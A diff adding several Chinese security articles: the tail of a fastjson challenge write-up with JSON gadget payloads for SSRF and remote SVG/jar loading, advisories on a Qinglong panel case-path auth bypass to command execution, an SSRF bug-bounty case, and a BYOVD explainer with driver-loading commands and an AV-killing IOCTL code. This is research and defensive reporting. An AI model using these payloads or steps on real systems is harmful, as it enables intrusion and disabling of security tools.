sink.getDeclaringType(),sink, seekSink(sink) +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/Be2IPichjh3Nn4du8icV3vpsUrow91969JNPZia1ryZmoWU0Rc93YIBF0DcsU7U9xaw1E0B875eOq2ZhNFJK1RtkA57LkQ41v7GdfOr30h4YuU/640?wx_fmt=png&from=appmsg "") + +EventListenerList已经说过了，swing相关类JLabel/JLayer/JMenuItem肯定可以触发awt so加载，还能触发任意类加载吗？看看调用栈。 +``` +UIManager.initializeAuxiliaryLAFs(Properties) line: 1421  +UIManager.initialize() line: 1518  +UIManager.maybeInitialize() line: 1483  +UIManager.getUI(JComponent) line: 1056  +JMenuItem.updateUI() line: 243  +JMenuItem.readObject(ObjectInputStream) line: 759  +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/Be2IPichjh3NEdHNm6JX9nsRkJkGfjVu7WiciaaN6P1KVYzQtTrUQ0gsHicOod1ZiaX7qicQiaP89AiaMRRUR78VCeicCpUibxlrcJCpCQaiblLv5rYSZg/640?wx_fmt=png&from=appmsg "") + +className是从swingProps取出来的，swingProps怎么来的，往前导导。 +``` +UIManager.makeSwingPropertiesFilename() line: 290  +UIManager$1.run() line: 1291  +AccessController.doPrivileged(PrivilegedAction) line: not available [native method]  +UIManager.loadSwingProperties() line: 1282  +UIManager.initialize() line: 1515  +UIManager.maybeInitialize() line: 1483  +UIManager.getUI(JComponent) line: 1056  +JMenuItem.updateUI() line: 243  +JMenuItem.readObject(ObjectInputStream) line: 759  +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3M2N9Uc1xLBamuV3TbOLLktias95DJSQWZVTTvFXJDYUqcI6zh4KoKMrqJznqMQWzaMIUPBqqz35tUhp8aqQNicweCp86D11NXfk/640?wx_fmt=png&from=appmsg "") + +取java.home/conf/swing.properties，key为swing.auxiliarylaf(同理swing.defaultlaf也可以)。测试一下。 + +/usr/lib/jvm/java-11-openjdk-amd64/conf/swing.properties + +写入内容 + +swing.auxiliarylaf=Tomcat678910cmdecho + +同样需要root权限，效果如下。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Be2IPichjh3Nzgo7Sts1XrDLFkYRd4H0JhQ6VJibYVGk5VR5BiaNof6kiaU9Lc2sUWr2NNO9CUkibufCwRiaKdY10ZrNJLN4UicNyhzLE9l0V0twLo/640?wx_fmt=png&from=appmsg "") + +但由于是UIManager初始化触发，所以只能触发一次，第二次过不去这里的校验。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Be2IPichjh3OaX1DoGCW9ooFsiceSIKfJDa43ib8DZibkVTX80sibldxMNYtTluiapoeKF1PJrlF0WOf4iabHPYSA39IWibPUwQGt5guicgyUlmpl83s/640?wx_fmt=png&from=appmsg "") + + + +6， +ProgressMonitorInputStream + +JLabel/JLayer/JMenuItem反序列化时能触发 +updateUI()，实例化时一样也能触发啊，那么fastjson反序列化能够利用这条 +UIManager链吗？还真可以。 + +我找到一个关键类 +javax.swing.ProgressMonitorInputStream，它可以期望 +java.awt.Component。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3P3OnI3ibEBVzRk2aXL61Q8LFWkkaJwAGCweAJbbt80DeoBE4PeibO44CLf1yvhOPxnsGuELibiba3oRDly4L7a65EdUnzXCTEEyy0/640?wx_fmt=png&from=appmsg "") + +Component为awt核心类，是很多swing组件的父类，比如JLabel/JLayer/JMenuItem。 + +但fastjson为了防new JEditorPane().setPage()这个SSRF的setter链，拉黑了javax.swing.J + +![](https://mmbiz.qpic.cn/mmbiz_png/Be2IPichjh3M9RBwAgksAEjicHN0ZmAp1nTRVzAHD2ZvqvjqQvphPSMUDuTfCXEeunhDql33gKJ0Jk7LIqX712gcrJqd7IDcLO78uMPp8cGibI/640?wx_fmt=png&from=appmsg "") + +但没关系，在jdk11中，有相当多的非 +javax.swing.J开头的子类。 + +比如触发awt so加载。 +``` +{ + "@type": "java.lang.AutoCloseable", + "@type": "javax.swing.ProgressMonitorInputStream", + "parentComponent": { +  "@type": "java.awt.Button" + } +} +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3OhPKmICVMZKGHOMNTwvLmZicMu5P7QuPnkeUYbvl4AQl9rvyjI6sbiawML3S0BLibUpAFKsj777pEZictk6icIfkgfQ6icbExNeN4aw/640?wx_fmt=png&from=appmsg "") + +触发 +JEditorPane SSRF +``` +{ +  "@type": "java.io.InputStream", +  "@type": "javax.swing.ProgressMonitorInputStream", +  "parentComponent": { +    "@type": "sun.tools.jconsole.HTMLPane", +    "page": "http://127.0.0.1:5667" +  }, +} +``` + +触发 +UIManager，要加载的类写在 +swing.properties中 +``` +{ +"@type": "java.io.InputStream", +"@type": "javax.swing.ProgressMonitorInputStream", +"parentComponent": {"@type": "javax.swing.colorchooser.DefaultPreviewPanel"} +} +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3OwrHJfdL7UHwzFicMHS7KQfXZ0fq8McichwMEDKCLN9fP4dSGEGoGhVpvDbjtPeM8VZxqLqIAS8wpZRsjKBicZtoDIIVKucejMww/640?wx_fmt=png&from=appmsg "") + + +当然，老生常谈，由于jdk8编译符号的问题，这个fastjson链仅jdk11才能使用。 + + +7，JLabel(推荐) + +虽然 +UIManager +已经可以触发任意类加载了，但仅一次触发，还要多写一个文件也太不优雅了。有没有办法可以无限次数触发类加载呢？不知道大家还记不记得当年的 +CobaltStrike反制漏洞( +CVE-2022-39197 +)。 + +[CVE-2022-39197分析](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485917&idx=1&sn=2dcf4a521e649a199ec6adb3d0397eed&scene=21#wechat_redirect) + + +它本质上和 +JEditorPane一样是个setter触发的SSRF链，和fastjson非常适配，同样找个子类代替就行。 +``` +{ +"@type": "java.io.InputStream", +"@type": "javax.swing.ProgressMonitorInputStream", +"parentComponent": { +        "@type": "javax.swing.DefaultListCellRenderer",  +        "text": "" +        } +} +``` + +在 +CobaltStrike反制漏洞中，利用了svg远程加载jar实现RCE， +JLabel链同样可以。 +``` +{ +"@type": "java.io.InputStream", +"@type": "javax.swing.ProgressMonitorInputStream", +"parentComponent": { +        "@type": "javax.swing.DefaultListCellRenderer",  +        "text": "" +        } +} +``` + +当然，也可以不用 +JLabel过渡，直接 +JSVGCanvas.setURI() +``` +{ +"@type": "java.io.InputStream", +"@type": "javax.swing.ProgressMonitorInputStream", +"parentComponent": { +        "@type": "org.apache.batik.swing.JSVGCanvas",  +        "URI": "http://127.0.0.1:81/RCE.svg" +        } +} +``` + +漏洞核心原理是，JLabel的object标签可以触发任意类实例化的，只不过需要是 +Component子类才能调setter。但我们不需要调setter啊，能够加载或者实例化类就行了。 +``` +{ +"@type": "java.io.InputStream", +"@type": "javax.swing.ProgressMonitorInputStream", +"parentComponent": { +        "@type": "javax.swing.DefaultListCellRenderer",  +        "text": "" +        } +} +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3OI8m9JCnMBRK9jcP3Hp2eicSwvr0e73YicibFUa5y1Qk0mbpxLoYugvvjDxpmuicZ9XMhAPxGd17M7Rh9Yd33jomqFmu6cFicxumdU/640?wx_fmt=png&from=appmsg "") + + + +8，结尾 + + + +当然，除了任意类加载触发so之外，在jdk11中还有很多很多链可以触发特定so。 +so劫持篇就介绍了dns/awt白名单两种办法，其他人也陆陆续续发现了一些。 + +至此，fastjson写文件挑战2想让大家学习的就差不多结束了。最后肯定还有人想要知道加固版本的预期解是什么。 + +其实就是找jdk中可以加载的so，在linux系统中并不存在。因此不需要覆盖so，只需要向usr_paths写入一个so，比如/lib/lible.so，再用 +JLabel链触发就行。 + +这样的类目前找到两个，我找到的是。 + +jdk.internal.jline.WindowsTerminal + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3M5OwCQA689kV0jEJ2wuPoiaIicib4pibxT1JTPFsJx4tLSA8PAz88N6pw8emiaDgibUmQGiczoruBLdhtu2F4TfQia1Un40CCUpe2hqU0/640?wx_fmt=png&from=appmsg "") + +su18找到的是 + +sun.security.jgss.wrapper.SunNativeProvider + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Be2IPichjh3Nkbg9KfR1BcBrBdpicrQQwApd0bv7qn54dX2zxJZnmwFXibKfhSuu8bFdazdHBsY9yC7cLiaQ23gcABQAHFQtjW5ibpebWjQMo5rc/640?wx_fmt=png&from=appmsg "") + + +那么 +fastjson写文件挑战2就完美结束了，远程环境关闭，大家可以自行搭建docker在本地上玩。 + +下一次【ssti挑战】正在筹备中。 + diff --git a/doc/2026-03/【在野利用】青龙面板未授权命令注入漏洞.md b/doc/2026-03/【在野利用】青龙面板未授权命令注入漏洞.md new file mode 100644 index 00000000..a09e787b --- /dev/null +++ b/doc/2026-03/【在野利用】青龙面板未授权命令注入漏洞.md @@ -0,0 +1,131 @@ +# 【在野利用】青龙面板未授权命令注入漏洞 +原创 360漏洞研究院 + 360漏洞研究院 360漏洞研究院 2026-03-03 02:58 + +“扫描下方二维码，进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与！” + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/5nNKGRl7pFgrNicMticDTWVCUWbOwRuWcrYSpAlwDRibKNLbe3KialEfR0Y2PlPAvS4MN50asXETicAviaRy1gRicI2Dw/640?wx_fmt=gif&from=appmsg "") + + +

漏洞概述

漏洞名称

青龙面板未授权命令注入漏洞

漏洞编号

LDYVUL-2026-00032847

公开时间

2026-02

POC状态

已公开

漏洞类型

命令注入

EXP状态

已公开

利用可能性

高

技术细节状态

已公开

CVSS 3.1

9.8

在野利用状态

已发现

+ + +**01** + +影响组件 + + + +青龙面板是一个功能强大的定时任务管理平台，它支持 Python3、JavaScript、Shell、TypeScript 等多种脚本语言，非常适合用来管理和运行各类自动化脚本。 + + +**02** + +**漏洞描述** + + + +近日，360漏洞研究院捕获到青龙面板中存在的鉴权绕过导致命令注入漏洞。攻击者可通过路径大小写混淆的方式绕过认证机制，成功访问高权限接口，进而**执行远程命令** +。 + + +**03** + +**漏洞复现****** + + + +360漏洞研究院已复现青龙面板未授权命令注入漏洞，并验证该漏洞可导致远程命令执行。 + +![](https://mmbiz.qpic.cn/mmbiz_png/dZ7ia5iaWFzz8bR6ASOu3JwnpDUS502Oqib2MQrC70LaZak6y1aDEquKWMTmybDiadsKOBOFPcLUR7TRQs2ibdU4tQy9DM4licFYZTLNicqFzhIibMs/640?wx_fmt=png&from=appmsg "") + +青龙面板未授权命令注入漏洞复现 + + +**04** + +**漏洞影响范围****** + + + +受影响的软件版本： + +青龙面板 < v2.20.2 + + +**05** + +**修复建议****** + + + +**正式防护方案** + +升级至青龙面板 **v2.20.2** + 或更高版本。 + + +**06** + +**产品侧支持情况** + + + +**360安全智能体：** +支持该漏洞攻击的智能分析**。** + +**360测绘云 Quake** +：默认支持该产品的指纹识别。 + +**360高级持续性威胁预警系统** +：预计 2026年03月04日发布规则更新包，支持该漏洞利用行为的检测。 + +**360资产与漏洞检测管理系统** +：预计 2026年03月04日发布规则更新包，支持该漏洞利用行为的检测。 +**本地安全大脑** +：默认支持该漏洞的PoC检测。 + + +**07** + +**时间线** + + + +2026年03月03日，360漏洞研究院发布本安全风险通告。 + + +**08** + +参考链接 + + + +https://github.com/whyour/qinglong + + +09 + +更多漏洞情报 + + + +建议您订阅360数字安全-漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。 + + +邮箱：360VRI@360.cn + +网址：https://vi.loudongyun.360.net + + + +“洞”悉网络威胁，守护数字安全 + + +**关于我们** + + +360 漏洞研究院，隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。 + diff --git a/doc/2026-03/【已复现】漏洞通告 青龙面板未授权命令注入漏洞.md b/doc/2026-03/【已复现】漏洞通告 青龙面板未授权命令注入漏洞.md new file mode 100644 index 00000000..77b7f20c --- /dev/null +++ b/doc/2026-03/【已复现】漏洞通告 青龙面板未授权命令注入漏洞.md @@ -0,0 +1,92 @@ +# 【已复现】漏洞通告 | 青龙面板未授权命令注入漏洞 +安全实验室 + 安全实验室 中成信息 2026-03-03 03:19 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/iboUMajImW6QEqrJF4JnQOGkr3oahUUZeljHItNu0Jlv4XmRBM5vibEPSfsM0o02hF9lNSTnOItNvzqETpOOVbiag/640?wx_fmt=png&from=appmsg "") + +**1** + + +**漏洞描述** + +青龙面板身份认证绕过漏洞是青龙面板最新版本中存在的一项高危漏洞，攻击者可通过构造特殊路径(如大小写变形的/api/)绕过身份验证，直接调用系统命令执行接口(如/api/system/command-run)，获取服务器root权限。 + +2 + + +**影响范围** + +青龙面板 < v2.20.2 + +  + +3 + + +**漏洞详情** +
漏洞详情
漏洞名称
青龙面板未授权命令注入漏洞
评级
高危
CVSS 3.1分数
9.8
威胁类型
命令注入
利用情况
更可能被利用
公开状态
POC、EXP已公开
在野利用
已发现
危害描述：攻击者可以通过发送特制的恶意请求绕过身份验证机制，从而获得系统管理员权限，并在服务器上执行任意系统命令，最终实现对目标设备的完全控制。
参考链接: https://github.com/whyour/qinglong
+ +4 + + +**漏洞复现** + +中成信息安全实验室已复现青龙面板未授权命令注入漏洞，验证如下。 + +![](https://mmbiz.qpic.cn/mmbiz_png/IOnTlXyEl27VJTJO6UpbvepsdPia09Xb2yJ7Yzhp0U35iaOgCiaEByFsXUR4MPMBLzWRdRdzXGaoqmrRkRmYgBVA7AichQ3U7rdCmzN0icvPohUQ/640?wx_fmt=png&from=appmsg "") + + +5 + + +**修复建议** + +官方已发布安全补丁，请及时更新至最新版本： + +青龙面板（Qinglong）>= v2.20.2 + +下载地址： + +https://github.com/whyour/qinglong/ + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/iboUMajImW6SWlEyv47fvIgYlBYvBPY4SUlNQ5ia1qWP6CdmAnkTDWcgGM21xo6kqGqMicl0NPpncTGJZWwzicoO5A/640?wx_fmt=png&from=appmsg "") + + + + + +关于我们 + + +漳州中成信息科技有限公司是一家专注于网络安全实战防护的创新型服务提供商。我们深刻理解网络安全的核心在于攻防对抗的持续较量，并以此独特视角为基石，致力于为客户构建动态、主动、智能化的纵深防御体系。区别于传统的被动防御，我们坚信“未知攻，焉知防”。公司汇聚了顶尖的渗透测试专家（红队）、应急处置精英（蓝队）及经验丰富的安全服务工程师，形成了一支具备完整攻防对抗能力的专业团队。我们的渗透测试团队模拟真实攻击者的思维与手段，深入挖掘系统、应用及网络中的深层次漏洞与风险点；应急处置团队则能在安全事件发生时快速响应、精准定位、有效遏制损失并溯源根因；安服工程师团队则致力于将攻防对抗中获得的宝贵经验转化为常态化的安全策略、加固措施与运营流程。 + + + + + + +**点击名片** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/iboUMajImW6SWlEyv47fvIgYlBYvBPY4Siau2HicdH2XxjSEtMnzvqz4cTYibemFyA3TvGH4ZLYABel0MzmHoL8wJQ/640?wx_fmt=png&from=appmsg "") + +**关注我们** + + + +**扫描官网二维码** +![](https://mmbiz.qpic.cn/sz_mmbiz_png/iboUMajImW6SWlEyv47fvIgYlBYvBPY4Siau2HicdH2XxjSEtMnzvqz4cTYibemFyA3TvGH4ZLYABel0MzmHoL8wJQ/640?wx_fmt=png&from=appmsg "") + +**了解更多** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/IOnTlXyEl26GI78T6YncCwKHUKyaGaPfNrv9UJ9HO2UzCY5bafOpicHYkAQ0GM2nN2ib7D75utBpNud4pfcYSb2zojicstr6bVn2jOrIw6ick5s/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/iboUMajImW6SWlEyv47fvIgYlBYvBPY4SXmokj8yGgrQAoBPcFlOgWdWUcj8e5rUKUQVVTQ0ibsppahzAstALX6w/640?wx_fmt=gif&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/iboUMajImW6SWlEyv47fvIgYlBYvBPY4ShmKJlD9Q30YqOaiamGgmfOA3libRTCd5cNA1qM7z8RUsAr56ibrAocibiag/640?wx_fmt=gif&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/iboUMajImW6SWlEyv47fvIgYlBYvBPY4SsibXafic39wibiaEqD6KgYYCSR6Fn5PgAclH1kkky6SglBKoSOTDo4A8wA/640?wx_fmt=gif&from=appmsg "") + + diff --git a/doc/2026-03/【案例分享】某SRC SSRF漏洞分享.md b/doc/2026-03/【案例分享】某SRC SSRF漏洞分享.md new file mode 100644 index 00000000..13eda130 --- /dev/null +++ b/doc/2026-03/【案例分享】某SRC SSRF漏洞分享.md @@ -0,0 +1,76 @@ +# 【案例分享】某SRC SSRF漏洞分享 +原创 EnhancerSec + EnhancerSec EnhancerSec 2026-03-03 04:05 + +# 【案例分享】某SRC SSRF漏洞分享 +> +> 开学啦，该卷起来啦，祝各位师傅新的一年猛猛出洞，马力全开！！！ + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/7AnuFAq7GcOadBERR2cvkxpiacBKMEJpfKOcjsrWlrpsHMp6ZQ76LibujnIkpjx4kIuPYBfu97Sk4Z3pJJ9bbQpS3pZzc3RVcY4Fdov5E2Vjs/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/7AnuFAq7GcMib9aX1a0W668SYHgIGXSvKpJq2olxX39TF4VYYqp37K7DWic9cibwFxibqUUmRtibKUJvLEHxNzd7aLWWicMKrAV0kWwah9ibxm4Ujs/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/7AnuFAq7GcO99yXqhAncIlYEiby6amdrUK2Goy0ZGPibVRmfwqVaS9kVC2t0icoAGhNwHAz7KVp6JzLFhexlUqCsNpRSX4DwmicveqlxokWW63I/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/7AnuFAq7GcOYe2DkuEpvAonhzRuLYVOz1EiczMEoWjLR1jBO5e0vrqApLml7vMXmjjr3Jcf70cEgS9h9TM4ouzyAx3SibgZQ4BicPGCCAJd74Q/640?wx_fmt=jpeg&from=appmsg "") + +一次简单的SSRF漏洞挖掘实战，带你了解漏洞原理与利用方式。今天带大家实战分析一个刚发现的SSRF漏洞案例——来自某AI平台的**服务端请求伪造漏洞** +。 +## 1. 什么是SSRF？ + +**SSRF（Server-Side Request Forgery，服务端请求伪造）** + 是一种由攻击者构造请求，由服务端发起请求的安全漏洞。攻击者可以利用它让服务器向内部网络发起请求，从而探测内网信息、攻击内网服务，甚至远程代码执行。 + +简单来说：**本来服务器只应该访问外部你指定的网站，结果它被你忽悠去访问了内网地址（比如 10.10.10.1），这就是SSRF。** +## 2. 发现过程：从“机构应用创建”入手 + +漏洞存在于某AI平台（example.com +）。当时我注册登录后，创建一个“机构应用”，在填写官网链接的地方，尝试输入内网IP进行测试。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7AnuFAq7GcOoOh7zrFKNPZkuXR9oVLOh4Lh7WfJ3ib7bKQmFv21EWyLCKzibYr803UM974FtjiaFLRskiaKvsHib6QvjkTFqZrlQgFLs3ypRhjUI/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7AnuFAq7GcNibDkbnasMdfYDKN635b3uYJqFejzoYYGP9JdRkftvhvl3dhVqlrjhj1Bpia0eAz9wZaSflfdIT06vpsaayEhKhmFppBNaDNtmw/640?wx_fmt=png&from=appmsg "") +### 2.1 抓包拦截请求 + +在输入框随便填个真实的URL（比如 http://example.com +），测试功能，再填写内网地址进行SSRF内网探测测试。 + +重点是请求体中包含一个参数 websiteList，它传递了我们输入的网址。于是我把 URL 改成了内网地址 http://10.x.x.x/42xx7(厂商提供的内网地址) 重放请求。 + +小贴士：10.x.x.x 是内网IP（A类私有地址），正常情况下公网无法访问，但如果服务器端去请求它，就有可能探测到内网服务。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7AnuFAq7GcM272pCX4qmIMIicy38pd3jsOJqUJy4mv5juGvzORzC5MpgoAm2cJpSPqicE10bdKice1WM3B1PeBNH7IdKZPxu9PVLCImojGWNdg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7AnuFAq7GcMqr6yHASIGo5IWaTibzZicwRM1MEE7AtavpV7KiblmuS5SO6WohMjG3hZFRx0JbA6ibCDTHXU7O4GhbZ8ovVK8dBAZa9yictgtsqqY/640?wx_fmt=png&from=appmsg "") + +**重放请求后，观察返回内容：** + +当内网IP存在且端口开放时（比如内网有一台机器开了Web服务），返回 HTTP 200，并可能带回页面内容（截图略）。 + +当内网IP不存在或端口关闭时，返回类似“页面失效，请更换”的提示。 +### 挖洞心得：给大学生的实战建议 +1. **关注功能点** +：凡是用户能输入URL的地方（如头像上传、网站爬虫、在线截图、API代理），都可能存在SSRF。 + +1. **巧用差异判断** +：像本例中，通过内外网返回的不同提示，就能确认漏洞存在。多关注响应中的状态码、错误信息、响应时间等细节。 + +1. **学会抓包改包** +：Burp Suite是必备工具，一定要熟练使用Repeater和Intruder。 + +1. **合法合规测试** +：挖洞要选有SRC（安全响应中心）的厂商，在授权范围内测试，切勿越界。 + +### ⚠️ 重要技术声明 + +本文所有内容均为**网络安全技术研究** +，仅用于学习移动端逆向、SSL证书校验、网络抓包分析等技术知识，**严禁** +将本文的方法和思路用于违法行为。 + +关注公众号，后续会有**网安求职** +、**工具推荐** +、**案例分享** +等内容持续输出，师傅们都可以关注一下喔！ + + diff --git a/doc/2026-03/【漏洞预警】0day 青龙面板 最新版本 鉴权绕过导致 RCE.md b/doc/2026-03/【漏洞预警】0day 青龙面板 最新版本 鉴权绕过导致 RCE.md new file mode 100644 index 00000000..c25b0463 --- /dev/null +++ b/doc/2026-03/【漏洞预警】0day 青龙面板 最新版本 鉴权绕过导致 RCE.md @@ -0,0 +1,67 @@ +# 【漏洞预警】0day 青龙面板 最新版本 鉴权绕过导致 RCE +原创 安全探索者 + 安全探索者 安全探索者 2026-03-03 07:12 + +↑点击关注，获取更多漏洞预警，技术分享 + +0x01 组件介绍 + +        青龙面板是一款支持 Python3、JavaScript、Shell、Typescript 的定时任务管理平台。 + +fofa语法： +product="青龙-定时任务管理面板" + +0x02 漏洞描述 + +    +2026年2月，互联网上披露其存在权限绕过漏洞，攻击者可构造恶意请求绕过相关权限认证，攻击者可通过大小写变形路径（如 /API/... +）绕过鉴权并命中 /api/... + 实际路由，最终形成未授权远程命令执行（RCE） + +
漏洞分类

未授权远程命令执行

CVSS 3.1分数
9.6
漏洞等级
严重
POC/EXP
 已公开
可利用性
高
+ +0x03 影响版本 + +青龙面板 2.20.1(其余版本未明确受影响） +
+ +0x04 漏洞验证 + +目前POC/EXP已经公开（后台留言：青龙面板，获取测试paylaod） + +概念性验证， +发送数据包，出现下面的即可证明漏洞存在 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibWiaLKz39tdCrWlia8XFELB0u165ic96ybmrXdNWPPN8N5QmjxOPA1ZftfjO9FtQ883yVS8lS6g59o9NicjehCIsM7FsPVbvo8UzVc2FibNGC1hI/640?wx_fmt=png&from=appmsg "") + +随机测试了目前公开的大部分版本，大部分都未受影响 + +0x05 漏洞影响 + +由于该漏洞影响范围较广，危害较大。通过以上复现过程，我们可以知道该漏洞的利用过程比较简单，且能造成的危害是高危的，可以执行命令，获取服务器权限，企业应该尽快排查是否有使用该组件，并尽快做出对应措施 + + +0x06 修复建议 + + +1.利用安全组设置其仅对可信地址开放 + +2.参考官方修复方式进行修复 + +https://github.com/whyour/qinglong/issues/2934 + +0X07 参考链接 + +https://github.com/whyour/qinglong/issues/2934 + + +0x08 免责声明 + +> 本文所涉及的任何技术、信息或工具，仅供学习和参考之用。 + +> 请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。 + +> 作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。 + + + diff --git a/doc/2026-03/什么是自带漏洞驱动 (BYOVD) 攻击.md b/doc/2026-03/什么是自带漏洞驱动 (BYOVD) 攻击.md new file mode 100644 index 00000000..45b5b7d4 --- /dev/null +++ b/doc/2026-03/什么是自带漏洞驱动 (BYOVD) 攻击.md @@ -0,0 +1,229 @@ +# 什么是自带漏洞驱动 (BYOVD) 攻击? +Umut Bayram + Umut Bayram securitainment 2026-03-03 05:38 + +
原文链接
作者
https://www.picussecurity.com/resource/blog/what-are-bring-your-own-vulnerable-driver-byovd-attacks
Umut Bayram
+**BYOVD (Bring Your Own Vulnerable Driver) 攻击** +是一种 Windows 内核利用技术，攻击者将合法且经过数字签名、但存在已知漏洞的驱动程序加载到目标系统中，随后利用该驱动的漏洞获得任意内核模式 (Ring 0) 执行权限——这是 Windows 中的最高特权级别。 + +借助内核级访问权限，攻击者能够终止 EDR 进程、禁用安全工具、篡改内核回调并绕过终端防护措施。由于所加载的驱动程序本身是受信任且已签名的，BYOVD 实质上是在滥用 Microsoft 的驱动信任模型来规避安全防御。 + +在 MITRE ATT&CK 框架中，BYOVD 对应 **T1068 - 利用漏洞进行权限提升** +，并常与 **T1562.001 - 削弱防御：禁用或修改工具** +存在交叉。该技术已成为勒索软件组织和 APT 组织实现隐蔽提权与防御规避的常用手段。 +## BYOVD 攻击的工作原理：技术流程逐步解析 + +在 **BYOVD 攻击** +中，拥有管理员权限的威胁行为者会将一个合法且经过数字签名、但包含已知漏洞的驱动程序安装到目标系统上。攻击者通过利用这些驱动漏洞，获取关键的**内核级访问权限** +，从而绕过或禁用 EDR 和杀毒软件等终端安全控制措施。 + +以下是典型 BYOVD 攻击的完整流程： + +![从初始访问到载荷部署的攻击链流程](https://mmbiz.qpic.cn/mmbiz_png/h4gtbB74nSggeuILeJAFxfoZJftDk0hMBMk00adGibmX4PZVM4FUSicSiauFZOiakrhsXF1GJ4ARczNH7616xc4uGYJdZoj5dKyN1t0w5Hl2TVY/640?wx_fmt=png&from=appmsg "") + +从初始访问到载荷部署的攻击链流程 + +从初始访问到载荷部署的攻击链流程 +### 步骤 1: 攻击者在执行 BYOVD 之前获取管理员权限 + +BYOVD 并非初始访问技术，它要求攻击者已经拥有目标系统的**本地管理员权限** +。这些权限通常通过**钓鱼攻击** +、利用**面向公网的应用程序** +漏洞或从**初始访问代理商** +处购买等方式获得。 +### 步骤 2: 将漏洞驱动文件释放到磁盘 + +攻击者将 **.sys 文件** +(漏洞驱动) 放置在可写目录中，例如 **C:WindowsTemp** +或 **C:UsersPublic** +。该驱动通常是合法软件，往往直接来源于**厂商自身的安装程序** +，因此更难被检测发现。 +### 步骤 3: 在 Windows 中注册并加载漏洞驱动 + +攻击者通过 **Windows 服务控制管理器** +注册并加载漏洞驱动，使用的命令如下： +

sc.exe create vuln_driver type= kernel binPath= C:\Windows\Temp\vulnerable_driver.sys 
sc.exe start vuln_driver
+或通过 **NtLoadDriver** +API 以编程方式完成。 +### 步骤 4: 通过构造 IOCTL 请求利用驱动漏洞 + +驱动加载完成后，攻击者通过 **DeviceIoControl** +调用与其进行交互，向驱动发送特定的 **I/O 控制码** +以触发漏洞。 + +例如，**RTCore64.sys** +暴露的 IOCTL 代码可实现对物理内存和虚拟内存的任意**读/写** +操作。 +### 步骤 5: 利用内核权限禁用终端安全工具 + +凭借**内核访问权限** +，攻击者使用**读/写原语** +逐一枚举并移除系统中注册的所有 **EDR 回调** +，随后终止 **EDR 的用户模式进程** +，使终端彻底失去防御能力。 +### 步骤 6: 绕过防御后部署主载荷 + +成功绕过安全防御后，攻击者在已无防护的系统上部署**勒索软件** +、**数据窃取工具** +或其他**持久化机制** +，整个过程不受任何安全措施干扰。 +## 真实 BYOVD 攻击案例：Genshin Impact 驱动滥用事件 + +某勒索软件攻击者利用了热门角色扮演游戏 Genshin Impact (原神) 中存在漏洞的反作弊驱动 **mhyprot2.sys** +1 +。 + +攻击者通过**远程桌面协议** +(**RDP** +) 使用被入侵的**管理员账户** +连接到域控制器，并向系统桌面传输了两个关键文件：第一个是 **mhyprot2.sys** +，一个合法且经过数字签名的 Genshin Impact 反作弊驱动; 第二个是名为 **kill_svc.exe** +的恶意可执行文件。 + +攻击者运行 **kill_svc.exe** +启动绕过流程。该文件将漏洞驱动 **mhyprot2.sys** +安装为名为 **mhyprot2** +的服务。 + +驱动激活后，**kill_svc.exe** +扫描系统中特定的杀毒进程列表，如 **uiWatchDog.exe** +和 **TmWSCSvc.exe** +，并通过 **DeviceIoControl** +函数将目标列表传递给漏洞驱动。在此步骤中，该可执行文件向驱动发送了控制码 **0x81034000** +。 + +控制码 **0x81034000** +指示 **mhyprot2.sys** +驱动终止指定进程。由于该驱动以 Ring 0 内核权限运行，它成功调用 **ZwTerminateProcess** +函数终止了杀毒软件，绕过了标准的用户模式防护。 + +终端防护被完全禁用后，攻击者启动了名为 **svchost.exe** 